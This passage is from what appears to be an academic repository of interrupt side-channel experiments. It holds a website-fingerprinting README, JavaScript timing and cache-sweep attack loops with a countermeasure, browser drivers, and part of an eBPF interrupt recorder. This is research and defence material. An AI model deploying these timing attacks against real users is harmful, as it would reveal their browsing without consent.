├── E1-Fingerprinting_Websites
├── .gitignore
├── LICENSE.md
├── README.md
├── attacker
│ ├── d3.v6.min.js
│ ├── index.html
│ └── worker.js
├── drivers
│ ├── __init__.py
│ ├── links.py
│ ├── remote.py
│ └── safari.py
├── ebpf
│ ├── .gitignore
│ ├── Cargo.lock
│ ├── Cargo.toml
│ └── src
│ │ └── main.rs
├── extensions
│ ├── cache.crx
│ ├── cache
│ │ ├── background.js
│ │ └── manifest.json
│ ├── interrupts.crx
│ └── interrupts
│ │ ├── background.js
│ │ └── manifest.json
├── lib
│ └── timer.c
├── plot
│ ├── amazon.com0.jpg
│ ├── amazon.com1.jpg
│ ├── amazon.com2.jpg
│ ├── amazon.com3.jpg
│ ├── amazon.com4.jpg
│ ├── amazon.com5.jpg
│ ├── amazon.com6.jpg
│ ├── cat.py
│ ├── nytimes.com0.jpg
│ ├── nytimes.com1.jpg
│ ├── nytimes.com2.jpg
│ ├── nytimes.com3.jpg
│ ├── nytimes.com4.jpg
│ ├── nytimes.com5.jpg
│ ├── nytimes.com6.jpg
│ ├── tiktok.com0.jpg
│ ├── tiktok.com1.jpg
│ ├── tiktok.com2.jpg
│ ├── tiktok.com3.jpg
│ ├── tiktok.com4.jpg
│ ├── tiktok.com5.jpg
│ └── tiktok.com6.jpg
├── record_data.py
├── requirements.txt
├── scripts
│ ├── check_results.py
│ ├── gen_open_world.py
│ ├── load_irqbalance_config.py
│ ├── receiver.py
│ └── save_irqbalance_config.py
├── sites
│ ├── closed_world.csv
│ └── open_world.csv
├── tick.c
└── visualization.png
├── E2-Enhancing_Spectral
├── Makefile
├── README.md
├── arch-write.c
├── cacheutils.h
├── main
├── main.c
└── test.sh
├── E3-Breaking_KASLR
├── Makefile
├── README.md
├── main.c
└── timer.c
├── LICENSE
└── README.md
/E1-Fingerprinting_Websites/.gitignore:
--------------------------------------------------------------------------------
1 | # macOS
2 | .DS_Store
3 |
4 | # Editors
5 | .nova
6 | *.swp
7 |
8 | # Python
9 | __pycache__
10 |
11 | # Chrome extensions
12 | *.pem
13 |
14 | # Data exports
15 | *.pkl
16 |
17 | # Libraries
18 | *.so
19 |
20 | # Twilio credentials
21 | twilio.json
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/LICENSE.md:
--------------------------------------------------------------------------------
1 | # MIT License
2 |
3 | Copyright (c) 2022 Jack Cook
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/README.md:
--------------------------------------------------------------------------------
1 | # Fingerprinting Websites
2 |
3 | Uses SegScope to perform a classic interrupt side channel attack (i.e., website fingerprinting).
4 |
5 | Install dependencies.
6 | ```
7 | pip install -r requirements.txt
8 | ```
9 |
10 | Build the .so file.
11 | ```
12 | gcc -c -fPIC -o tick.o tick.c
13 | gcc -shared tick.o -o tick.so
14 | ```
15 |
16 | Record 20 5000-interrupt traces of the top 4 websites according to Alexa, and save the traces to segscope-experiment. Three absolute paths in record_data.py need to be modified in record_data.py.
17 | ```
18 | python record_data.py --browser chrome --num_runs 20 --attacker_type tick --sites_list alexa4 --trace_length 5 --out_directory segscope-experiment
19 | ```
20 |
21 | Load the traces and check accuracy.
22 | ```
23 | python scripts/check_results.py --data_file segscope-experiment
24 | ```
25 |
26 | Expected results are as follows:
27 | ```
28 | python record_data.py --browser chrome --num_runs 20 --attacker_type tick --sites_list alexa4 --trace_length 5 --out_directory segscope-experiment
29 |
30 | 100%|█████████████████████████████████████████| 160/160 [43:10<00:00, 16.16s/it]
31 |
32 | python scripts/check_results.py --data_file segscope-experiment
33 |
34 | Analyzing results from readme-experiment
35 | 100%|███████████████████████████████████████████| 10/10 [00:01<00:00, 5.61it/s]
36 |
37 | Number of traces: 160
38 |
39 | top1 accuracy: 85.3% (+/- 5.5%)
40 | top5 accuracy: 100.0% (+/- 0.0%)
41 | ```
42 |
43 | For more details, please refer to [ISCA 23](https://github.com/jackcook/bigger-fish)
44 |
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/attacker/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Bigger Fish
6 |
53 |
54 |
55 | There’s Always a Bigger Fish
56 |
57 |
58 |
59 |
60 |
61 |
62 |
178 |
179 |
180 |
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/attacker/worker.js:
--------------------------------------------------------------------------------
1 | const OUR_ATTACKER = "ours";
2 | const CACHE_ATTACKER = "cache";
3 | const OUR_ATTACKER_COUNTERMEASURE = "ours_cm";
4 | const TICK_ATTACKER = "tick";
5 |
6 | const P = 5; // time of one record, in milliseconds
7 | const L3_SIZE = 6 * 1024 * 1024;
8 | const CACHE_SIZE = L3_SIZE / 64;
9 |
10 | let addrs;
11 | let M;
12 | let start;
13 | let T;
14 | let recording = false;
15 |
16 | function finish() {
17 | if (!recording) {
18 | return;
19 | }
20 |
21 | recording = false;
22 |
23 | let lastVal = 0;
24 |
25 | for (let i = 0; i < T.length; i++) {
26 | if (T[i] === -1) {
27 | T[i] = lastVal;
28 | } else {
29 | lastVal = T[i];
30 | }
31 | }
32 |
33 | postMessage(JSON.stringify(T));
34 | }
35 |
36 | function ourLoop() {
37 | while (true) {
38 | const datum_time = performance.now();
39 | const idx = Math.floor(datum_time - start);
40 |
41 | if (idx >= T.length) {
42 | finish();
43 | break;
44 | }
45 |
46 | let counter = 0;
47 |
48 | while (performance.now() - datum_time < P) {
49 | counter += 1;
50 | }
51 |
52 | T[idx] = counter;
53 | }
54 | }
55 |
56 | function cacheLoop() {
57 | while (true) {
58 | const datum_time = performance.now();
59 | const idx = Math.floor(datum_time - start);
60 |
61 | if (idx >= T.length) {
62 | finish();
63 | break;
64 | }
65 |
66 | let counter = 0;
67 |
68 | while (performance.now() - datum_time < P) {
69 | // Access entire LLC
70 | let val = 0;
71 | for (let i = 0; i < addrs.length; i++) {
72 | val = M[addrs[i] * 16];
73 | }
74 |
75 | counter += 1;
76 | }
77 |
78 | T[idx] = counter;
79 | }
80 | }
81 |
82 | function tickLoop() {
83 | while (true) {
84 | const datum_time = performance.now();
85 | const idx = Math.floor(datum_time - start);
86 |
87 | if (idx >= T.length) {
88 | finish();
89 | break;
90 | }
91 |
92 | let counter = 0;
93 |
94 | while (performance.now() - datum_time < P) {
95 | counter += 1;
96 | }
97 |
98 | T[idx] = counter;
99 | }
100 | }
101 |
102 | // Randomized timer
103 | let time = 0;
104 | let currentBinSize = 0;
105 |
106 | const randomBinSize = () => {
107 | return Math.random() * 50 + 5;
108 | };
109 |
110 | const getTime = () => {
111 | const now = performance.now();
112 |
113 | if (now > time + currentBinSize) {
114 | if (now > time + currentBinSize + 100) {
115 | time = now;
116 | }
117 |
118 | time += randomBinSize();
119 | currentBinSize = randomBinSize();
120 | }
121 |
122 | return time;
123 | };
124 |
125 | function countermeasureLoop() {
126 | while (true) {
127 | const datum_time = getTime();
128 | const idx = Math.floor(datum_time - start);
129 |
130 | if (idx >= T.length) {
131 | finish();
132 | break;
133 | }
134 |
135 | let counter = 0;
136 |
137 | while (getTime() - datum_time < P) {
138 | counter += 1;
139 | }
140 |
141 | T[idx] = counter;
142 | }
143 | }
144 |
145 | function record(attacker) {
146 | if (attacker === CACHE_ATTACKER) {
147 | M = new Int32Array(L3_SIZE / 4);
148 | M.fill(-1, 0, M.length);
149 |
150 | addrs = new Int32Array(L3_SIZE / 4 / 16);
151 |
152 | for (let i = 0; i < addrs.length; i++) {
153 | addrs[i] = i;
154 | }
155 |
156 | // Shuffle addrs
157 | for (let i = addrs.length - 1; i > 0; i--) {
158 | const j = Math.floor(Math.random() * (i + 1));
159 | const temp = addrs[i];
160 | addrs[i] = addrs[j];
161 | addrs[j] = temp;
162 | }
163 | }
164 |
165 | start = performance.now();
166 |
167 | switch (attacker) {
168 | case OUR_ATTACKER:
169 | ourLoop();
170 | break;
171 | case CACHE_ATTACKER:
172 | cacheLoop();
173 | break;
174 | case OUR_ATTACKER_COUNTERMEASURE:
175 | countermeasureLoop();
176 | break;
177 | case TICK_ATTACKER:
178 | tickLoop();
179 | default:
180 | finish();
181 | break;
182 | }
183 | }
184 |
185 | self.onmessage = (e) => {
186 | if (e.data.type == "stop") {
187 | finish();
188 | } else if (e.data.type == "start") {
189 | T = new Array(e.data.trace_length);
190 | T.fill(-1, 0, e.data.trace_length);
191 |
192 | recording = true;
193 | start = performance.now();
194 | setTimeout(record, 0, e.data.attacker);
195 | }
196 | };
197 |
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/drivers/__init__.py:
--------------------------------------------------------------------------------
1 | from .links import LinksDriver
2 | from .remote import RemoteDriver
3 | from .safari import SafariDriver
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/drivers/links.py:
--------------------------------------------------------------------------------
1 | import os
2 | import subprocess
3 |
4 | class LinksDriver:
5 |
6 | def _kill(self):
7 | subprocess.Popen(["pkill", "links"])
8 |
9 | def get(self, url):
10 | self._kill()
11 | os.system('cls' if os.name == 'nt' else 'clear')
12 | subprocess.Popen(["links", url])
13 |
14 | def quit(self):
15 | self._kill()
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/drivers/remote.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import sys
3 |
4 | class RemoteDriver:
5 |
6 | def __init__(self, receiver_ip, receiver_port):
7 | self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
8 |
9 | try:
10 | self.s.connect((receiver_ip, receiver_port))
11 | except:
12 | print("Connection to receiver failed")
13 | sys.exit(1)
14 |
15 | def _send(self, msg):
16 | self.s.sendall(f"{msg}\n".encode('utf-8'))
17 |
18 | def get(self, url):
19 | self._send(url)
20 |
21 | def set_page_load_timeout(self, timeout):
22 | self._send(f"biggerfish://set-timeout/{timeout}")
23 |
24 | def quit(self):
25 | self._send("biggerfish://restart")
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/drivers/safari.py:
--------------------------------------------------------------------------------
1 | from selenium import webdriver
2 |
3 | class SafariDriver:
4 |
5 | def __init__(self, attacker_url):
6 | self.driver = webdriver.Safari()
7 | self.driver.get(attacker_url)
8 |
9 | self.main_window_handle = self.driver.current_window_handle
10 |
11 | def close(self):
12 | windows = self.driver.window_handles
13 |
14 | for window in windows:
15 | if window != self.main_window_handle:
16 | self.driver.switch_to.window(window)
17 | break
18 |
19 | self.driver.close()
20 | self.driver.switch_to.window(self.main_window_handle)
21 |
22 | def execute_script(self, script):
23 | return self.driver.execute_script(script)
24 |
25 | def get(self, url):
26 | self.driver.execute_script(
27 | f"window.open('{url}', '_blank', 'toolbar=1,location=1,menubar=1')")
28 |
29 | def set_page_load_timeout(self, timeout):
30 | self.driver.set_page_load_timeout(timeout)
31 |
32 | def quit(self):
33 | pass
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/ebpf/.gitignore:
--------------------------------------------------------------------------------
1 | target
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/ebpf/Cargo.lock:
--------------------------------------------------------------------------------
1 | # This file is automatically @generated by Cargo.
2 | # It is not intended for manual editing.
3 | version = 3
4 |
5 | [[package]]
6 | name = "aho-corasick"
7 | version = "0.7.18"
8 | source = "registry+https://github.com/rust-lang/crates.io-index"
9 | checksum = "1e37cfd5e7657ada45f742d6e99ca5788580b5c529dc78faf11ece6dc702656f"
10 | dependencies = [
11 | "memchr",
12 | ]
13 |
14 | [[package]]
15 | name = "ansi_term"
16 | version = "0.11.0"
17 | source = "registry+https://github.com/rust-lang/crates.io-index"
18 | checksum = "ee49baf6cb617b853aa8d93bf420db2383fab46d314482ca2803b40d5fde979b"
19 | dependencies = [
20 | "winapi 0.3.9",
21 | ]
22 |
23 | [[package]]
24 | name = "atty"
25 | version = "0.2.14"
26 | source = "registry+https://github.com/rust-lang/crates.io-index"
27 | checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8"
28 | dependencies = [
29 | "hermit-abi",
30 | "libc",
31 | "winapi 0.3.9",
32 | ]
33 |
34 | [[package]]
35 | name = "bcc"
36 | version = "0.0.31"
37 | source = "registry+https://github.com/rust-lang/crates.io-index"
38 | checksum = "bebab955e4baaae9f8e6f21a3bd8f49d36e8344758431ce82585d885a2b2f363"
39 | dependencies = [
40 | "bcc-sys",
41 | "bitflags",
42 | "byteorder",
43 | "libc",
44 | "regex",
45 | "thiserror",
46 | ]
47 |
48 | [[package]]
49 | name = "bcc-sys"
50 | version = "0.18.0"
51 | source = "registry+https://github.com/rust-lang/crates.io-index"
52 | checksum = "ce1c5b91450a45f6a536b4e657c698ef2dd3c636739450350a58582b47e8fa0c"
53 |
54 | [[package]]
55 | name = "bitflags"
56 | version = "1.2.1"
57 | source = "registry+https://github.com/rust-lang/crates.io-index"
58 | checksum = "cf1de2fe8c75bc145a2f577add951f8134889b4795d47466a54a5c846d691693"
59 |
60 | [[package]]
61 | name = "byteorder"
62 | version = "1.4.3"
63 | source = "registry+https://github.com/rust-lang/crates.io-index"
64 | checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610"
65 |
66 | [[package]]
67 | name = "cc"
68 | version = "1.0.68"
69 | source = "registry+https://github.com/rust-lang/crates.io-index"
70 | checksum = "4a72c244c1ff497a746a7e1fb3d14bd08420ecda70c8f25c7112f2781652d787"
71 |
72 | [[package]]
73 | name = "cfg-if"
74 | version = "1.0.0"
75 | source = "registry+https://github.com/rust-lang/crates.io-index"
76 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
77 |
78 | [[package]]
79 | name = "clap"
80 | version = "2.33.3"
81 | source = "registry+https://github.com/rust-lang/crates.io-index"
82 | checksum = "37e58ac78573c40708d45522f0d80fa2f01cc4f9b4e2bf749807255454312002"
83 | dependencies = [
84 | "ansi_term",
85 | "atty",
86 | "bitflags",
87 | "strsim",
88 | "textwrap",
89 | "unicode-width",
90 | "vec_map",
91 | ]
92 |
93 | [[package]]
94 | name = "core_affinity"
95 | version = "0.5.10"
96 | source = "registry+https://github.com/rust-lang/crates.io-index"
97 | checksum = "7f8a03115cc34fb0d7c321dd154a3914b3ca082ccc5c11d91bf7117dbbe7171f"
98 | dependencies = [
99 | "kernel32-sys",
100 | "libc",
101 | "num_cpus",
102 | "winapi 0.2.8",
103 | ]
104 |
105 | [[package]]
106 | name = "ctrlc"
107 | version = "3.1.9"
108 | source = "registry+https://github.com/rust-lang/crates.io-index"
109 | checksum = "232295399409a8b7ae41276757b5a1cc21032848d42bff2352261f958b3ca29a"
110 | dependencies = [
111 | "nix",
112 | "winapi 0.3.9",
113 | ]
114 |
115 | [[package]]
116 | name = "ebpf"
117 | version = "0.1.0"
118 | dependencies = [
119 | "bcc",
120 | "byteorder",
121 | "core_affinity",
122 | "ctrlc",
123 | "libc",
124 | "structopt",
125 | ]
126 |
127 | [[package]]
128 | name = "heck"
129 | version = "0.3.3"
130 | source = "registry+https://github.com/rust-lang/crates.io-index"
131 | checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c"
132 | dependencies = [
133 | "unicode-segmentation",
134 | ]
135 |
136 | [[package]]
137 | name = "hermit-abi"
138 | version = "0.1.19"
139 | source = "registry+https://github.com/rust-lang/crates.io-index"
140 | checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33"
141 | dependencies = [
142 | "libc",
143 | ]
144 |
145 | [[package]]
146 | name = "kernel32-sys"
147 | version = "0.2.2"
148 | source = "registry+https://github.com/rust-lang/crates.io-index"
149 | checksum = "7507624b29483431c0ba2d82aece8ca6cdba9382bff4ddd0f7490560c056098d"
150 | dependencies = [
151 | "winapi 0.2.8",
152 | "winapi-build",
153 | ]
154 |
155 | [[package]]
156 | name = "lazy_static"
157 | version = "1.4.0"
158 | source = "registry+https://github.com/rust-lang/crates.io-index"
159 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
160 |
161 | [[package]]
162 | name = "libc"
163 | version = "0.2.97"
164 | source = "registry+https://github.com/rust-lang/crates.io-index"
165 | checksum = "12b8adadd720df158f4d70dfe7ccc6adb0472d7c55ca83445f6a5ab3e36f8fb6"
166 |
167 | [[package]]
168 | name = "memchr"
169 | version = "2.4.0"
170 | source = "registry+https://github.com/rust-lang/crates.io-index"
171 | checksum = "b16bd47d9e329435e309c58469fe0791c2d0d1ba96ec0954152a5ae2b04387dc"
172 |
173 | [[package]]
174 | name = "nix"
175 | version = "0.20.0"
176 | source = "registry+https://github.com/rust-lang/crates.io-index"
177 | checksum = "fa9b4819da1bc61c0ea48b63b7bc8604064dd43013e7cc325df098d49cd7c18a"
178 | dependencies = [
179 | "bitflags",
180 | "cc",
181 | "cfg-if",
182 | "libc",
183 | ]
184 |
185 | [[package]]
186 | name = "num_cpus"
187 | version = "1.13.0"
188 | source = "registry+https://github.com/rust-lang/crates.io-index"
189 | checksum = "05499f3756671c15885fee9034446956fff3f243d6077b91e5767df161f766b3"
190 | dependencies = [
191 | "hermit-abi",
192 | "libc",
193 | ]
194 |
195 | [[package]]
196 | name = "proc-macro-error"
197 | version = "1.0.4"
198 | source = "registry+https://github.com/rust-lang/crates.io-index"
199 | checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c"
200 | dependencies = [
201 | "proc-macro-error-attr",
202 | "proc-macro2",
203 | "quote",
204 | "syn",
205 | "version_check",
206 | ]
207 |
208 | [[package]]
209 | name = "proc-macro-error-attr"
210 | version = "1.0.4"
211 | source = "registry+https://github.com/rust-lang/crates.io-index"
212 | checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869"
213 | dependencies = [
214 | "proc-macro2",
215 | "quote",
216 | "version_check",
217 | ]
218 |
219 | [[package]]
220 | name = "proc-macro2"
221 | version = "1.0.27"
222 | source = "registry+https://github.com/rust-lang/crates.io-index"
223 | checksum = "f0d8caf72986c1a598726adc988bb5984792ef84f5ee5aa50209145ee8077038"
224 | dependencies = [
225 | "unicode-xid",
226 | ]
227 |
228 | [[package]]
229 | name = "quote"
230 | version = "1.0.9"
231 | source = "registry+https://github.com/rust-lang/crates.io-index"
232 | checksum = "c3d0b9745dc2debf507c8422de05d7226cc1f0644216dfdfead988f9b1ab32a7"
233 | dependencies = [
234 | "proc-macro2",
235 | ]
236 |
237 | [[package]]
238 | name = "regex"
239 | version = "1.5.4"
240 | source = "registry+https://github.com/rust-lang/crates.io-index"
241 | checksum = "d07a8629359eb56f1e2fb1652bb04212c072a87ba68546a04065d525673ac461"
242 | dependencies = [
243 | "aho-corasick",
244 | "memchr",
245 | "regex-syntax",
246 | ]
247 |
248 | [[package]]
249 | name = "regex-syntax"
250 | version = "0.6.25"
251 | source = "registry+https://github.com/rust-lang/crates.io-index"
252 | checksum = "f497285884f3fcff424ffc933e56d7cbca511def0c9831a7f9b5f6153e3cc89b"
253 |
254 | [[package]]
255 | name = "strsim"
256 | version = "0.8.0"
257 | source = "registry+https://github.com/rust-lang/crates.io-index"
258 | checksum = "8ea5119cdb4c55b55d432abb513a0429384878c15dde60cc77b1c99de1a95a6a"
259 |
260 | [[package]]
261 | name = "structopt"
262 | version = "0.3.22"
263 | source = "registry+https://github.com/rust-lang/crates.io-index"
264 | checksum = "69b041cdcb67226aca307e6e7be44c8806423d83e018bd662360a93dabce4d71"
265 | dependencies = [
266 | "clap",
267 | "lazy_static",
268 | "structopt-derive",
269 | ]
270 |
271 | [[package]]
272 | name = "structopt-derive"
273 | version = "0.4.15"
274 | source = "registry+https://github.com/rust-lang/crates.io-index"
275 | checksum = "7813934aecf5f51a54775e00068c237de98489463968231a51746bbbc03f9c10"
276 | dependencies = [
277 | "heck",
278 | "proc-macro-error",
279 | "proc-macro2",
280 | "quote",
281 | "syn",
282 | ]
283 |
284 | [[package]]
285 | name = "syn"
286 | version = "1.0.73"
287 | source = "registry+https://github.com/rust-lang/crates.io-index"
288 | checksum = "f71489ff30030d2ae598524f61326b902466f72a0fb1a8564c001cc63425bcc7"
289 | dependencies = [
290 | "proc-macro2",
291 | "quote",
292 | "unicode-xid",
293 | ]
294 |
295 | [[package]]
296 | name = "textwrap"
297 | version = "0.11.0"
298 | source = "registry+https://github.com/rust-lang/crates.io-index"
299 | checksum = "d326610f408c7a4eb6f51c37c330e496b08506c9457c9d34287ecc38809fb060"
300 | dependencies = [
301 | "unicode-width",
302 | ]
303 |
304 | [[package]]
305 | name = "thiserror"
306 | version = "1.0.25"
307 | source = "registry+https://github.com/rust-lang/crates.io-index"
308 | checksum = "fa6f76457f59514c7eeb4e59d891395fab0b2fd1d40723ae737d64153392e9c6"
309 | dependencies = [
310 | "thiserror-impl",
311 | ]
312 |
313 | [[package]]
314 | name = "thiserror-impl"
315 | version = "1.0.25"
316 | source = "registry+https://github.com/rust-lang/crates.io-index"
317 | checksum = "8a36768c0fbf1bb15eca10defa29526bda730a2376c2ab4393ccfa16fb1a318d"
318 | dependencies = [
319 | "proc-macro2",
320 | "quote",
321 | "syn",
322 | ]
323 |
324 | [[package]]
325 | name = "unicode-segmentation"
326 | version = "1.8.0"
327 | source = "registry+https://github.com/rust-lang/crates.io-index"
328 | checksum = "8895849a949e7845e06bd6dc1aa51731a103c42707010a5b591c0038fb73385b"
329 |
330 | [[package]]
331 | name = "unicode-width"
332 | version = "0.1.8"
333 | source = "registry+https://github.com/rust-lang/crates.io-index"
334 | checksum = "9337591893a19b88d8d87f2cec1e73fad5cdfd10e5a6f349f498ad6ea2ffb1e3"
335 |
336 | [[package]]
337 | name = "unicode-xid"
338 | version = "0.2.2"
339 | source = "registry+https://github.com/rust-lang/crates.io-index"
340 | checksum = "8ccb82d61f80a663efe1f787a51b16b5a51e3314d6ac365b08639f52387b33f3"
341 |
342 | [[package]]
343 | name = "vec_map"
344 | version = "0.8.2"
345 | source = "registry+https://github.com/rust-lang/crates.io-index"
346 | checksum = "f1bddf1187be692e79c5ffeab891132dfb0f236ed36a43c7ed39f1165ee20191"
347 |
348 | [[package]]
349 | name = "version_check"
350 | version = "0.9.3"
351 | source = "registry+https://github.com/rust-lang/crates.io-index"
352 | checksum = "5fecdca9a5291cc2b8dcf7dc02453fee791a280f3743cb0905f8822ae463b3fe"
353 |
354 | [[package]]
355 | name = "winapi"
356 | version = "0.2.8"
357 | source = "registry+https://github.com/rust-lang/crates.io-index"
358 | checksum = "167dc9d6949a9b857f3451275e911c3f44255842c1f7a76f33c55103a909087a"
359 |
360 | [[package]]
361 | name = "winapi"
362 | version = "0.3.9"
363 | source = "registry+https://github.com/rust-lang/crates.io-index"
364 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
365 | dependencies = [
366 | "winapi-i686-pc-windows-gnu",
367 | "winapi-x86_64-pc-windows-gnu",
368 | ]
369 |
370 | [[package]]
371 | name = "winapi-build"
372 | version = "0.1.1"
373 | source = "registry+https://github.com/rust-lang/crates.io-index"
374 | checksum = "2d315eee3b34aca4797b2da6b13ed88266e6d612562a0c46390af8299fc699bc"
375 |
376 | [[package]]
377 | name = "winapi-i686-pc-windows-gnu"
378 | version = "0.4.0"
379 | source = "registry+https://github.com/rust-lang/crates.io-index"
380 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
381 |
382 | [[package]]
383 | name = "winapi-x86_64-pc-windows-gnu"
384 | version = "0.4.0"
385 | source = "registry+https://github.com/rust-lang/crates.io-index"
386 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
387 |
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/ebpf/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "ebpf"
3 | version = "0.1.0"
4 | edition = "2018"
5 |
6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7 |
8 | [dependencies]
9 | bcc = "0.0.31"
10 | byteorder = "1.4.3"
11 | core_affinity = "0.5.10"
12 | ctrlc = "3.1.9"
13 | libc = "0.2.97"
14 | structopt = "0.3.22"
15 |
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/ebpf/src/main.rs:
--------------------------------------------------------------------------------
1 | use byteorder::{NativeEndian, ReadBytesExt};
2 | use std::collections::BTreeMap;
3 | use std::io::Cursor;
4 | use std::sync::{
5 | atomic::{AtomicBool, Ordering},
6 | Arc,
7 | };
8 | use structopt::StructOpt;
9 |
10 | #[derive(Debug, StructOpt)]
11 | #[structopt(name = "ebpf-interrupts", about = "Record IRQs using eBPF")]
12 | struct Opt {
13 | #[structopt(short, long)]
14 | timeout: Option,
15 |
16 | #[structopt(short, long)]
17 | ns_threshold: Option,
18 | }
19 |
20 | const MAX_SAMPLES: usize = 1000000;
21 |
22 | fn time() -> u64 {
23 | let mut t = libc::timespec {
24 | tv_sec: 0,
25 | tv_nsec: 0,
26 | };
27 | unsafe {
28 | libc::clock_gettime(libc::CLOCK_BOOTTIME, &mut t as *mut libc::timespec);
29 | }
30 |
31 | t.tv_sec as u64 * 1000_000_000 + t.tv_nsec as u64
32 | }
33 |
34 | fn main() {
35 | core_affinity::set_for_current(core_affinity::CoreId { id: 3 });
36 |
37 | eprintln!("pid = {}", unsafe { libc::getpid() });
38 |
39 | let opt = Opt::from_args();
40 |
41 | let running = Arc::new(AtomicBool::new(true));
42 | let r = running.clone();
43 | ctrlc::set_handler(move || {
44 | r.store(false, Ordering::SeqCst);
45 | })
46 | .expect("Error setting Ctrl-C handler");
47 |
48 | let mut gaps = vec![(1, 1); MAX_SAMPLES];
49 | gaps.clear();
50 |
51 | let code = "
52 | #include
53 |
54 | BPF_HASH(interrupts, u64, int, 1000000);
55 | static void record_event(int num) {
56 | if (bpf_get_smp_processor_id() == 3) {
57 | int irq = num;
58 | u64 time = bpf_ktime_get_boot_ns();
59 | interrupts.update(&time, &irq);
60 | }
61 | }
62 |
63 | TRACEPOINT_PROBE(irq, irq_handler_entry) {
64 | record_event(args->irq + 10000);
65 | return 0;
66 | };
67 | TRACEPOINT_PROBE(irq, softirq_entry) {
68 | record_event(1);
69 | return 0;
70 | };
71 | TRACEPOINT_PROBE(nmi, nmi_handler) {
72 | record_event(2);
73 | return 0;
74 | };
75 | TRACEPOINT_PROBE(tlb, tlb_flush) {
76 | record_event(3);
77 | return 0;
78 | };
79 | TRACEPOINT_PROBE(irq_vectors, reschedule_entry) {
80 | record_event(4);
81 | return 0;
82 | };
83 | TRACEPOINT_PROBE(syscalls, sys_enter_clock_gettime) {
84 | record_event(5);
85 | return 0;
86 | };
87 | TRACEPOINT_PROBE(exceptions, page_fault_user) {
88 | record_event(6);
89 | return 0;
90 | };
91 | TRACEPOINT_PROBE(exceptions, page_fault_kernel) {
92 | record_event(7);
93 | return 0;
94 | };
95 | void generic_handle_irq() { record_event(100); }
96 | void __sysvec_apic_timer_interrupt() { record_event(101); }
97 | void __sysvec_spurious_apic_interrupt() { record_event(102); }
98 | void __sysvec_call_function() { record_event(103); }
99 | void __sysvec_call_function_single() { record_event(104); }
100 | void __sysvec_x86_platform_ipi() { record_event(105); }
101 | void __sysvec_thermal() { record_event(106); }
102 | void __sysvec_irq_work() { record_event(107); }
103 | void __sysvec_deferred_error() { record_event(108); }
104 | void __sysvec_threshold() { record_event(109); }
105 | void __sysvec_irq_move_cleanup() { record_event(110); }
106 | void __sysvec_error_interrupt() { record_event(111); }
107 | void __do_softirq() { record_event(200); }
108 | void irqtime_account_irq() { record_event(300); }
109 | ";
110 | let mut module = bcc::BPF::new(code).unwrap();
111 | bcc::Tracepoint::new()
112 | .handler("tracepoint__irq__irq_handler_entry")
113 | .subsystem("irq")
114 | .tracepoint("irq_handler_entry")
115 | .attach(&mut module)
116 | .expect("failed to attach tracepoint");
117 |
118 | bcc::Tracepoint::new()
119 | .handler("tracepoint__irq__softirq_entry")
120 | .subsystem("irq")
121 | .tracepoint("softirq_entry")
122 | .attach(&mut module)
123 | .expect("failed to attach tracepoint");
124 |
125 | bcc::Tracepoint::new()
126 | .handler("tracepoint__nmi__nmi_handler")
127 | .subsystem("nmi")
128 | .tracepoint("nmi_handler")
129 | .attach(&mut module)
130 | .expect("failed to attach tracepoint");
131 |
132 | bcc::Tracepoint::new()
133 | .handler("tracepoint__tlb__tlb_flush")
134 | .subsystem("tlb")
135 | .tracepoint("tlb_flush")
136 | .attach(&mut module)
137 | .expect("failed to attach tracepoint");
138 |
139 | bcc::Tracepoint::new()
140 | .handler("tracepoint__irq_vectors__reschedule_entry")
141 | .subsystem("irq_vectors")
142 | .tracepoint("reschedule_entry")
143 | .attach(&mut module)
144 | .expect("failed to attach tracepoint");
145 |
